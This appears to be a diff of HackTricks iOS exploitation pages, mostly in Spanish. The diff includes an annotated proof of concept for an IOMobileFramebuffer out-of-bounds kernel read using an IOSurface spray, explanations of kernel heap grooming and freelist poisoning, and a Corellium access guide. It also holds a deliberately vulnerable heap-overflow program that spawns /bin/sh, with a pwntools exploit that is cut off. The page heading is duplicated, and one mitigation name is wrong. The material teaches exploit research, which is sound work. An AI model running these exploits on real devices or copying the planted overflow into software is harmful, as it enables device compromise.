- **Goal:** cuando selector 83 lee más allá de la tabla legítima, la **OOB slot probablemente contiene un puntero a una de tus IOSurfaces (reales)** — así la desreferencia posterior **no provoca crash** y **tiene éxito**. IOSurface es un classic, well-documented kernel spray primitive, y el post de Saar lista explícitamente los métodos **create / set_value / lookup** usados en este flujo de explotación.
3. **The "offset/8" trick (what that index really is)**
- En `trigger_oob(offset)`, asignas `scalars[0] = offset / 8`.
- **Why divide by 8?** El kernel hace **`base + index*8`** para calcular qué slot del tamaño de un puntero leer. Estás escogiendo el **"número de slot N"**, no un offset en bytes. **Ocho bytes por slot** en 64-bit.
- Esa dirección calculada es **`this + 0xA58 + index*8`**. El PoC usa una constante grande (`0x1200000 + 0x1048`) simplemente para avanzar **muy fuera de bounds** hacia una región que intentaste **llenar densamente con punteros IOSurface**. **Si el spray "gana", el slot que alcanzas es un `IOSurface*` válido.**
4. **What selector 83 returns (this is the subtle part)**
- La llamada es:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- Internamente, tras la obtención del puntero OOB, el driver llama\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
- **Result:** **`output_scalars[0]` es un Mach port name (u32 handle) en tu task** para *cualquier puntero de objeto que hayas suministrado vía OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** Este comportamiento exacto (copiar un *port name*) se muestra en la descompilación de Saar.
**Why that's useful:** con un **port name** al (supuesto) IOSurface, ahora puedes usar métodos de IOSurfaceRoot como:
- **`s_lookup_surface_from_port` (method 34)** → convertir el port en un **surface ID** con el que operar mediante otras llamadas de IOSurface, y
- **`s_create_port_from_surface` (method 35)** si necesitas la inversa.\
Saar menciona estos métodos exactos como el siguiente paso. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## Referencias
- [Análisis original de Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Investigación de jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,257 @@
# iOS Exploiting
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** en iOS funciona exigiendo que cada pieza de código ejecutable (apps, libraries, extensions, etc.) esté firmada criptográficamente con un certificado emitido por Apple. Cuando se carga el código, iOS verifica la firma digital contra la raíz de confianza de Apple. Si la firma es inválida, falta o ha sido modificada, el SO se niega a ejecutarlo. Esto impide que los atacantes inyecten código malicioso en apps legítimas o ejecuten binarios sin firmar, deteniendo efectivamente la mayoría de las cadenas de exploit que dependen de ejecutar código arbitrario o manipulado.
- **CoreTrust** es el subsistema de iOS responsable de hacer cumplir la firma de código en tiempo de ejecución. Verifica directamente las firmas usando el certificado raíz de Apple sin confiar en caches de confianza, lo que significa que solo pueden ejecutarse binarios firmados por Apple (o con entitlements válidos). CoreTrust asegura que incluso si un atacante manipula una app después de la instalación, modifica librerías del sistema o intenta cargar código sin firmar, el sistema bloqueará la ejecución a menos que el código siga estando correctamente firmado. Esta estricta aplicación cierra muchos vectores de post-explotación que versiones antiguas de iOS permitían mediante comprobaciones de firma más débiles o sorteables.
- **Data Execution Prevention (DEP)** marca regiones de memoria como no ejecutables a menos que contengan explícitamente código. Esto impide que los atacantes inyecten shellcode en regiones de datos (como el stack o el heap) y lo ejecuten, obligándoles a depender de técnicas más complejas como ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** aleatoriza las direcciones de memoria de código, librerías, stack y heap cada vez que el sistema arranca. Esto dificulta mucho que los atacantes predigan dónde están instrucciones o gadgets útiles, rompiendo muchas cadenas de exploit que dependen de un layout de memoria fijo.
- **KASLR (Kernel ASLR)** aplica el mismo concepto de aleatorización al kernel de iOS. Al barajar la dirección base del kernel en cada arranque, impide que los atacantes localicen de forma fiable funciones o estructuras del kernel, aumentando la dificultad de exploits a nivel de kernel que de otro modo obtendrían control total del sistema.
- **Kernel Patch Protection (KPP)**, también conocido como **AMCC (Apple Mobile File Integrity)** en iOS, monitoriza continuamente las páginas de código del kernel para asegurar que no han sido modificadas. Si se detecta cualquier manipulación —por ejemplo, un exploit intentando parchear funciones del kernel o insertar código malicioso— el dispositivo hará panic y se reiniciará inmediatamente. Esta protección hace que los exploits persistentes en el kernel sean mucho más difíciles, ya que los atacantes no pueden simplemente hookear o parchear instrucciones del kernel sin provocar un crash del sistema.
- **Kernel Text Readonly Region (KTRR)** es una característica de seguridad basada en hardware introducida en dispositivos iOS. Usa el controlador de memoria de la CPU para marcar la sección de código (text) del kernel como permanentemente de solo lectura después del arranque. Una vez bloqueada, incluso el kernel no puede modificar esa región de memoria. Esto impide que los atacantes —e incluso código privilegiado— parcheen instrucciones del kernel en tiempo de ejecución, cerrando una gran clase de exploits que dependían de modificar directamente el código del kernel.
- **Pointer Authentication Codes (PAC)** usan firmas criptográficas incrustadas en bits no usados de los pointers para verificar su integridad antes de usarlos. Cuando se crea un pointer (como una return address o un function pointer), la CPU lo firma con una clave secreta; antes de desreferenciarlo, la CPU comprueba la firma. Si el pointer fue manipulado, la comprobación falla y la ejecución se detiene. Esto impide que los atacantes forjen o reutilicen pointers corrompidos en exploits de corrupción de memoria, haciendo técnicas como ROP o JOP mucho más difíciles de realizar con fiabilidad.
- **Privilege Access never (PAN)** es una característica de hardware que impide que el kernel (modo privilegiado) acceda directamente a memoria de user-space a menos que explícitamente habilite ese acceso. Esto frena a atacantes que obtuvieron ejecución de código en el kernel para leer o escribir memoria de usuario fácilmente y así escalar exploits o robar datos sensibles. Al imponer una separación estricta, PAN reduce el impacto de exploits de kernel y bloquea muchas técnicas comunes de escalada de privilegios.
- **Page Protection Layer (PPL)** es un mecanismo de seguridad de iOS que protege regiones críticas de memoria gestionadas por el kernel, especialmente las relacionadas con code signing y entitlements. Aplica protecciones estrictas de escritura usando la MMU (Memory Management Unit) y comprobaciones adicionales, asegurando que incluso código privilegiado del kernel no pueda modificar páginas sensibles de forma arbitraria. Esto evita que atacantes que obtengan ejecución a nivel de kernel manipulen estructuras críticas de seguridad, haciendo la persistencia y los bypasses de code-signing significativamente más difíciles.
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
El kernel usaba un **zone allocator** (`kalloc`) dividido en "zones" de tamaño fijo. Cada zone solo almacenaba asignaciones (allocations) de una única clase de tamaño.
From the screenshot:
| Zone Name | Element Size | Example Use |
|----------------------|--------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | Estructuras de kernel muy pequeñas, pointers. |
| `default.kalloc.32` | 32 bytes | Structs pequeños, object headers. |
| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. |
| `default.kalloc.128` | 128 bytes | Objetos medianos como partes de `OSObject`. |
| `default.kalloc.256` | 256 bytes | Mensajes IPC más grandes, arrays, device structures. |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | Estructuras grandes, IOSurface/graphics metadata. |
**How it worked:**
- Cada petición de allocation se redondeaba hacia arriba (rounded up) al tamaño de zone más cercano.
(E.g., una petición de 50 bytes cae en la zone `kalloc.64`).
- La memoria en cada zone se mantenía en una **free list** — los chunks liberados por el kernel volvían a esa zone.
- Si desbordabas un buffer de 64 bytes, sobrescribirías el **siguiente objeto en la misma zone**.
Por eso el heap spraying / feng shui era tan efectivo: podías predecir los vecinos de los objetos rellenando allocations de la misma clase de tamaño.
### The freelist
Dentro de cada kalloc zone, los objetos liberados no se devolvían directamente al sistema — iban a una freelist, una lista enlazada de chunks disponibles.
- Cuando se liberaba un chunk, el kernel escribía un puntero al inicio de ese chunk → la dirección del siguiente chunk libre en la misma zone.
- La zone mantenía un puntero HEAD al primer chunk libre.
- La allocation siempre usaba el HEAD actual:
1. Pop HEAD (devolver esa memoria al llamador).
2. Actualizar HEAD = HEAD->next (almacenado en el header del chunk liberado).
- Freeing empujaba los chunks de vuelta:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
Así que la freelist era simplemente una lista enlazada construida dentro de la propia memoria liberada.
Normal state:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### Explotando el freelist
Porque los primeros 8 bytes de un free chunk = freelist pointer, un atacante podría corromperlo:
1. **Heap overflow** en un freed chunk adyacente → sobrescribir su “next” pointer.
2. **Use-after-free** write en un objeto freed → sobrescribir su “next” pointer.
Entonces, en la siguiente asignación de ese tamaño:
- El allocator pops el chunk corrompido.
- Sigue el “next” pointer suministrado por el atacante.
- Devuelve un pointer a memoria arbitraria, permitiendo fake object primitives o sobrescritura dirigida.
Ejemplo visual de freelist poisoning:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
Este diseño de freelist hacía que la explotación fuera muy efectiva antes del hardening: vecinos predecibles por heap sprays, enlaces de freelist con punteros crudos y la ausencia de separación por tipo permitían a los atacantes escalar bugs de UAF/overflow hasta lograr control arbitrario de la memoria del kernel.
### Heap Grooming / Feng Shui
The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data.
**Steps:**
1. Spray allocations (fill the holes)
- Con el tiempo, el kernel heap se fragmenta: algunas zonas tienen huecos donde se liberaron objetos antiguos.
- El atacante primero hace muchas asignaciones dummy para rellenar esos huecos, de modo que el heap quede “empaquetado” y predecible.
2. Force new pages
- Una vez que los huecos están llenos, las siguientes asignaciones deben provenir de páginas nuevas añadidas a la zona.
- Páginas nuevas significan que los objetos estarán agrupados, no dispersos por memoria fragmentada antigua.
- Esto da al atacante mucho mejor control sobre los vecinos.
3. Place attacker objects
- El atacante vuelve a hacer spray, creando muchas instancias de objetos controlados por él en esas páginas nuevas.
- Estos objetos son predecibles en tamaño y colocación (ya que todos pertenecen a la misma zona).
4. Free a controlled object (make a gap)
- El atacante libera deliberadamente uno de sus propios objetos.
- Esto crea un “hueco” en el heap, que el allocator reutilizará luego para la próxima asignación de ese tamaño.
5. Victim object lands in the hole
- El atacante provoca que el kernel asigne el objeto víctima (el que quiere corromper).
- Dado que el hueco es la primera ranura disponible en la freelist, la víctima se coloca exactamente donde el atacante liberó su objeto.
6. Overflow / UAF into victim
- Ahora el atacante tiene objetos controlados alrededor de la víctima.
- Al desbordar desde uno de sus propios objetos (o reutilizando uno liberado), puede sobrescribir de forma fiable los campos de memoria de la víctima con valores elegidos.
**Why it works**:
- Predictibilidad del zone allocator: las asignaciones del mismo tamaño siempre provienen de la misma zona.
- Comportamiento de la freelist: las nuevas asignaciones reutilizan primero el chunk liberado más recientemente.
- Heap sprays: el atacante llena la memoria con contenido predecible y controla el layout.
- Resultado final: el atacante controla dónde cae el objeto víctima y qué datos quedan junto a él.
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Apple endureció el allocator y hizo que el **heap grooming sea mucho más difícil**:
### 1. From Classic kalloc to kalloc_type
- **Before**: existedía una sola zona `kalloc.<size>` para cada clase de tamaño (16, 32, 64, … 1280, etc.). Cualquier objeto de ese tamaño se colocaba allí → los objetos del atacante podían quedar junto a objetos privilegiados del kernel.
- **Now**:
- Los objetos del kernel se asignan desde **typed zones** (`kalloc_type`).
- Cada tipo de objeto (por ejemplo, `ipc_port_t`, `task_t`, `OSString`, `OSData`) tiene su propia zona dedicada, incluso si tienen el mismo tamaño.
- El mapeo entre tipo de objeto ↔ zona se genera desde el **kalloc_type system** en tiempo de compilación.
Un atacante ya no puede garantizar que datos controlados (`OSData`) queden adyacentes a objetos sensibles del kernel (`task_t`) del mismo tamaño.
### 2. Slabs and Per-CPU Caches
- El heap se divide en **slabs** (páginas de memoria partidas en chunks de tamaño fijo para esa zona).
- Cada zona tiene una **per-CPU cache** para reducir la contención.
- Ruta de asignación:
1. Intentar la per-CPU cache.
2. Si está vacía, tomar del global freelist.
3. Si la freelist está vacía, asignar un nuevo slab (una o más páginas).
- **Beneficio**: esta descentralización hace que los heap sprays sean menos deterministas, ya que las asignaciones pueden servirse desde cachés de diferentes CPUs.
### 3. Randomization inside zones
- Dentro de una zona, los elementos liberados no se entregan en un simple orden FIFO/LIFO.
- XNU moderno usa **encoded freelist pointers** (safe-linking al estilo Linux, introducido ~iOS 14).
- Cada puntero de freelist está **XOR-encodeado** con una cookie secreta por zona.
- Esto impide que un atacante forje un puntero de freelist falso si obtiene una primitiva de escritura.
- Algunas asignaciones se **aleatorizan en su colocación dentro de un slab**, por lo que el spraying no garantiza adyacencia.
### 4. Guarded Allocations
- Ciertos objetos críticos del kernel (p. ej., credenciales, estructuras task) se asignan en **guarded zones**.
- Estas zonas insertan **guard pages** (memoria no mapeada) entre slabs o usan **redzones** alrededor de objetos.
- Cualquier overflow hacia la guard page provoca un fault → pánico inmediato en lugar de corrupción silenciosa.
### 5. Page Protection Layer (PPL) and SPTM
- Incluso si controlas un objeto liberado, no puedes modificar toda la memoria del kernel:
- **PPL (Page Protection Layer)** hace cumplir que ciertas regiones (p. ej., datos de code signing, entitlements) sean **read-only** incluso para el propio kernel.
- En dispositivos **A15/M2+**, este rol se reemplaza/mejora con **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
- Estas capas impuestas por hardware significan que los atacantes no pueden escalar desde una sola corrupción en el heap a parcheos arbitrarios de estructuras críticas de seguridad.
### 6. Large Allocations
- No todas las asignaciones pasan por `kalloc_type`.
- Peticiones muy grandes (por encima de ~16KB) evitan las typed zones y se sirven directamente desde **kernel VM (kmem)** mediante asignaciones de páginas.
- Estas son menos predecibles, pero también menos explotables, ya que no comparten slabs con otros objetos.
### 7. Allocation Patterns Attackers Target
Even with these protections, attackers still look for:
- **Reference count objects**: si puedes manipular contadores retain/release, puedes causar use-after-free.
- **Objects with function pointers (vtables)**: corromper uno todavía da control de flujo.
- **Shared memory objects (IOSurface, Mach ports)**: siguen siendo objetivos porque enlazan user ↔ kernel.
But — unlike before — you cant just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed.
### Example: Allocation Flow in Modern Heap
Suppose userspace calls into IOKit to allocate an `OSData` object:
1. **Type lookup**`OSData` maps to `kalloc_type_osdata` zone (size 64 bytes).
2. Check per-CPU cache for free elements.
- If found → return one.
- If empty → go to global freelist.
- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes).
3. Return chunk to caller.
**Freelist pointer protection**:
- Each freed chunk stores the address of the next free chunk, but encoded with a secret key.
- Overwriting that field with attacker data wont work unless you know the key.
## Comparison Table
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and install it even if there is a version mismatch.
### Using BinDiff with Kernel versions
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
4. Open each kernelcache so they are automatically analyzed by Ghidra.
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
---
## Finding the right XNU version
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# iOS Cómo conectarse a Corellium
{{#include ../../banners/hacktricks-training.md}}
## **Requisitos**
- Una Corellium iOS VM (jailbroken o no). En esta guía asumimos que tienes acceso a Corellium.
- Herramientas locales: **ssh/scp**.
- (Opcional) **SSH keys** añadidas a tu proyecto de Corellium para inicios de sesión sin contraseña.
## **Conectarse a la VM del iPhone desde localhost**
### A) **Quick Connect (sin VPN)**
0) Añade tu ssh key en **`/admin/projects`** (recomendado).
1) Abre la página del dispositivo → **Connect**
2) **Copy the Quick Connect SSH command** mostrado por Corellium y pégalo en tu terminal.
3) Introduce la contraseña o usa tu key (recomendado).
### B) **VPN → SSH directa**
0) Añade tu ssh key en **`/admin/projects`** (recomendado).
1) Página del dispositivo → **CONNECT****VPN** → descarga el `.ovpn` y conéctate con cualquier cliente VPN que soporte TAP mode. (Consulta [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) si tienes problemas.)
2) Haz SSH a la dirección **10.11.x.x** de la VM:
```bash
ssh root@10.11.1.1
```
## **Subir un binario nativo & ejecutarlo**
### 2.1 **Subir**
- Si Quick Connect te dio un host/port:
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- Si usa VPN (10.11.x.x):
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **Subir e instalar una app iOS (.ipa)**
### Ruta A — **Web UI (la más rápida)**
1) Página del dispositivo → pestaña **Apps****Install App** → selecciona tu `.ipa`.
2) Desde la misma pestaña puedes **launch/kill/uninstall**.
### Ruta B — **Scripted via Corellium Agent**
1) Usa el API Agent para **upload** y luego **install**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### Ruta C — **Sin jailbreak (firma adecuada / Sideloadly)**
- Si no tienes un provisioning profile, usa **Sideloadly** para volver a firmar con tu Apple ID, o firma desde Xcode.
- También puedes exponer la VM a Xcode usando **USBFlux** (ver §5).
- Para registros/comandos rápidos sin SSH, usa la **Console** del dispositivo en la UI.
## **Extras**
- **Port-forwarding** (hacer que la VM parezca local para otras herramientas):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**: usa la dirección del **LLDB/GDB stub** que aparece en la parte inferior de la página del dispositivo (CONNECT → LLDB).
- **USBFlux (macOS/Linux)**: presenta la VM a **Xcode/Sideloadly** como un dispositivo conectado por cable.
## **Errores comunes**
- **Proper signing** es necesario en dispositivos **non-jailbroken**; las IPAs no firmadas no se iniciarán.
- **Quick Connect vs VPN**: Quick Connect es el más sencillo; usa **VPN** cuando necesites que el dispositivo esté en tu red local (p. ej., proxies/herramientas locales).
- **No App Store** en dispositivos Corellium; trae tus propias IPAs (re)signed.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,205 @@
# iOS Cómo conectarse a Corellium
{{#include ../../banners/hacktricks-training.md}}
## Vuln Code
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
```
Compílalo con:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## Exploit
> [!WARNING]
> Este exploit está ajustando la variable de entorno `MallocNanoZone=0` para desactivar la NanoZone. Esto es necesario para obtener asignaciones adyacentes al llamar a `malloc`con tamaños pequeños. Sin esto, diferentes mallocs se asignarán en zonas distintas y no estarán adyacentes y, por lo tanto, el overflow no funcionará como se espera.
```python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
